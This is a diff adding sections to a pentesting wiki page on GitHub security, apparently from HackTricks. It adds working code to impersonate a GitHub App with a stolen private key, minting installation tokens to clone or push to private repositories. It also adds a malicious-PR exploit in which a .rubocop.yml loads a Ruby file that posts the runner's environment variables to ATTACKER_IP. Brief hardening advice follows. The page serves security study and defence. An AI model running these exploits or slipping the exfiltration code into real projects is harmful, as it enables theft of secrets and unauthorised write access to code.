diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index 5ea2fff48b..3f03027413 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -164,6 +164,116 @@ An attacker might create a **malicious Github Application** to access privileged Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation. +#### Impersonate a GitHub App with its private key (JWT → installation access tokens) + +If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations: + +- Generate a short‑lived JWT signed with the private key +- Call the GitHub App REST API to enumerate installations +- Mint per‑installation access tokens and use them to list/clone/push to repositories granted to that installation + +Requirements: +- GitHub App private key (PEM) +- GitHub App ID (numeric). GitHub requires iss to be the App ID + +Create JWT (RS256): + +```python +#!/usr/bin/env python3 +import time, jwt + +with open("priv.pem", "r") as f: + signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) + +def gen_jwt(): + now = int(time.time()) + payload = { + "iat": now - 60, + "exp": now + 600 - 60, # ≤10 minutes + "iss": APP_ID, + } + return jwt.encode(payload, signing_key, algorithm="RS256") +``` + +List installations for the authenticated app: + +```bash +JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456) + +curl -sS -H "Authorization: Bearer $JWT" \ + -H "Accept: application/vnd.github+json" \ + -H "X-GitHub-Api-Version: 2022-11-28" \ + https://api.github.com/app/installations +``` + +Create an installation access token (valid ≤ 10 minutes): + +```bash +INSTALL_ID=12345678 +curl -sS -X POST \ + -H "Authorization: Bearer $JWT" \ + -H "Accept: application/vnd.github+json" \ + -H "X-GitHub-Api-Version: 2022-11-28" \ + https://api.github.com/app/installations/$INSTALL_ID/access_tokens +``` + +Use the token to access code. You can clone or push using the x‑access‑token URL form: + +```bash +TOKEN=ghs_... +REPO=owner/name + git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git +# push works if the app has contents:write on that repository +``` + +Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT): + +```python +#!/usr/bin/env python3 +import time, jwt, requests +from github import Auth, GithubIntegration + +with open("priv.pem", "r") as f: + signing_key = f.read() + +APP_ID = "123456" # GitHub App ID (numeric) +ORG = "someorg" + +def gen_jwt(): + now = int(time.time()) + payload = {"iat": now-60, "exp": now+540, "iss": APP_ID} + return jwt.encode(payload, signing_key, algorithm="RS256") + +auth = Auth.AppAuth(APP_ID, signing_key) +GI = GithubIntegration(auth=auth) +installation = GI.get_org_installation(ORG) +print(f"Installation ID: {installation.id}") + +jwt_tok = gen_jwt() +r = requests.post( + f"https://api.github.com/app/installations/{installation.id}/access_tokens", + headers={ + "Accept": "application/vnd.github+json", + "Authorization": f"Bearer {jwt_tok}", + "X-GitHub-Api-Version": "2022-11-28", + }, +) +access_token = r.json()["token"] + +print("--- repos ---") +for repo in installation.get_repos(): + print(f"* {repo.full_name} (private={repo.private})") + clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git" + print(clone_url) +``` + +Notes: +- Installation tokens inherit exactly the app’s repository‑level permissions (for example, contents: write, pull_requests: write) +- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key +- You can also enumerate installations via the REST API (GET /app/installations) using the JWT + ## Compromise & Abuse Github Action There are several techniques to compromise and abuse a Github Action, check them here: @@ -172,6 +282,60 @@ There are several techniques to compromise and abuse a Github Action, check them abusing-github-actions/ {{#endref}} +## Abusing third‑party GitHub Apps running external tools (Rubocop extension RCE) + +Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repository‑controlled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the service’s runner. + +Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repo‑provided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file. + +- Trigger conditions usually include: + - The tool is enabled in the service + - The PR contains files the tool recognizes (for Rubocop: .rb) + - The repo contains the tool’s config file (Rubocop searches for .rubocop.yml anywhere) + +Exploit files in the PR: + +.rubocop.yml + +```yaml +require: + - ./ext.rb +``` + +ext.rb (exfiltrate runner env vars): + +```ruby +require 'net/http' +require 'uri' +require 'json' + +env_vars = ENV.to_h +json_data = env_vars.to_json +url = URI.parse('http://ATTACKER_IP/') + +begin + http = Net::HTTP.new(url.host, url.port) + req = Net::HTTP::Post.new(url.path) + req['Content-Type'] = 'application/json' + req.body = json_data + http.request(req) +rescue StandardError => e + warn e.message +end +``` + +Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs. + +Impact observed in the wild: +- Full code execution on the production runner that executed the linter +- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc. +- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation) + +Hardening guidelines for services running external tools: +- Treat repository‑provided tool configs as untrusted code +- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted +- Apply least‑privilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that don’t require internet access + ## Branch Protection Bypass - **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way. @@ -235,7 +399,14 @@ jobs: For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd) -{{#include ../../banners/hacktricks-training.md}} +## References +- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/) +- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html) +- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app) +- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app) +- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app) + +{{#include ../../banners/hacktricks-training.md}}